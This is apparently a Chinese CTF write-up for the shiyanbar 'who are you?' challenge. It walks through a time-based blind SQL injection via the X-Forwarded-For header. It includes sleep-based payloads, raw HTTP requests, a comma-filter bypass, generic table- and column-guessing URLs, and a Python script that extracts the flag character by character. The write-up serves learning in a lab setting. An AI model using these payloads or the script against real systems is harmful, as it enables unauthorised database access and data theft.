首先我承认我看了别人怎么做的

因为我并没有什么经验虽然知道回显是由X-Forwarded-For 参数导致的 但一直无法利用 所以看了demo

因为涉及到要写脚本记录注入过程 所以特此记录

我看了2个demo选择了最直接的一个也就是使用awvs扫描 然后再python扫 因为我觉得我并没有手工找注入点的本事 先学学利用工具


虽然别人写了用awvs 但是开始不管怎么扫描都是扫描不出来  后来。。一个简单的办法原来是这样  附图:



记录实验吧 CTF库 who are you? 过程_第1张图片


好简单  然后发现了果然是可以注入的 好像是基于的时间延迟 可惜没系统学习不懂 后期补学习内容

给的内容是:
Tests performed:

  • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.053 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.062 s

  • (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.042 s

  • (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => 9.033 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.046 s

  • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.052 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.063 s


Original value: 1



然后使用 http editor 测试

简化的get数据为

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select(sleep(5)))v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com


这样就是有效的

反复改变应该在select(sleep(5)) 修改能办到

因为不小心看到demo 用了case 语句 所以在测试机上 使用这样的语句测试了下:

select case when (select length(test) from aaa) then sleep(2) else sleep(0) end

是有效的。。

替换掉get数据依然有效果

然后想了下 实验吧的测试 基本上表字段都是 flag 于是我试一试看行不行 好像可以

get请求为:

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when (select length(flag) from flag)>10  then sleep(2) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com



然后就是开始判断他的值了 不过貌似需要用循环函数去猜解  虽然他给了demo但是还是自己弄一弄

首先我知道了表 字段 就只需要猜字段数据长度 和 字段的每一个字母了

首先百度如何猜字段数据长度内容如下:

1.猜解表名:
http://xxx.com/test.asp?id=123 and (select count(*) from admin)>=0//猜解是否有表admin
2.猜解字段名:
http://xxx.com/test.asp?id=123 and (select count(adminname) from admin)>=0//admin表中是否有字段adminname
3.猜解字段长度:
//从admin表中选取第一条记录,来获取这条记录的adminname字段长度
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)>=0
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)=7//字段adminname长度为7

4.猜解字段值:
//从admin表中选取第一条记录,逐个猜解字段adminname的值,直到7个
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,1,1)) from admin)=97
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,2,1)) from admin)=78
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,3,1)) from admin)=96
..........
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,7,1)) from admin)=102

首先猜一下字段的长度

字段长度猜解 应手动很快

反复大于小于 求得应该是32个字符(上边用的len 好像不对应该是数据库不一样 我这里用的length)


GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select length(flag) from flag) = 32) then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com


这里说下我用的工具 还是用的awvs的  http editor

记录实验吧 CTF库 who are you? 过程_第2张图片


然后继续在测试机上写验证字符串的sql 不过我先创建张模拟一样的表试试。

刚刚发现if也应该可以做不用用case if 看着更明朗

select if((select length(flag) from flag) = 32,sleep(1),sleep(0));


可惜我替换成这样的  sleep失效  哎继续看怎么判断 我现在唯一应该能用的可以使用

select substring(flag,2,1) from flag 应该这样就可以了应该要使用substring函数  这个和mid应该是一样的。

试一下 按照惯例 应该值应该是 flag{} 这样的。。试一下

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag,1,1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com


但是好像时间不是1S  猜测难道失败了?  回想了下刚刚if 也是没效果
if的回显:
your ip is :1'+(select 1 from(select if((select length(flag) from flag) = 32


貌似从,开始被截断了。


看来不解决逗号不能前进了。。。

继续搜资料

http://www.91ri.org/12168.html

不得不佩服资源的强大

修改后的请求:

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag from 1 for 1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com



然后试了一下貌似不行 我把后边sleep(0)改为了5 出效果了


开始写脚本


(首先得需要一个python实例手册)


先搜索request 然后看看get 请求怎么写的 和加入header信息

记录实验吧 CTF库 who are you? 过程_第3张图片

撸一撸

因为可能需要重复调用先封装成一个方法

笔者不知道 {} 怎么添加所以也百度了一下

再然后应该是怎么判断时间 只需要time取执行前 和执行后就应该可以了 然后整一个循环 应该就能搞定


如下代码含注释 即可完成:

# -*- coding: utf-8 -*-

import requests

import time


#定义个方法返回时间时间差  var定义为猜解字符  num为猜解的多少位

def test(var,num):

#url链接

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'

#头信息 X-Forwarded-For 插入变量

headers = {}   

#X-Forwarded-For 指定 如果是该字符 进行sleep 5秒

headers['X-Forwarded-For']="""1'+(select 1 from(select case when ((select substring(flag from """+str(num)+""" for 1) from flag) = '"""+str(var)+"""') then sleep(5) else sleep(0) end)v)+'"""

headers['Referer']='http://ctf5.shiyanbar.com/web/wonderkun/index.php'

headers['Host']='ctf5.shiyanbar.com'

#执行前时间获取

time_start=time.time();

r = requests.get(url,headers=headers);

#执行后时间获取

time_stop=time.time();

#返回时间差

return int(time_stop)-int(time_start);

#定义testChar 为一个字符串字典

testChar='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'



#手工检测出32位进行循环猜解 先进入一个循环破解的多少个字符串 

for x in xrange(1,33):

#循环单个破解的字

for j in testChar:

#判断时间差是否大于等于5 

if test(j,x) >= 5:

#破解后字符

print str(x)+':'+str(j)



值得注意xrange 1,33 我开始写错了 写成32 结果只出来31个值。。。 还有就是此题没说 ctf{} 扩起来 坑啊!!

题:
http://ctf5.shiyanbar.com/web/wonderkun/index.php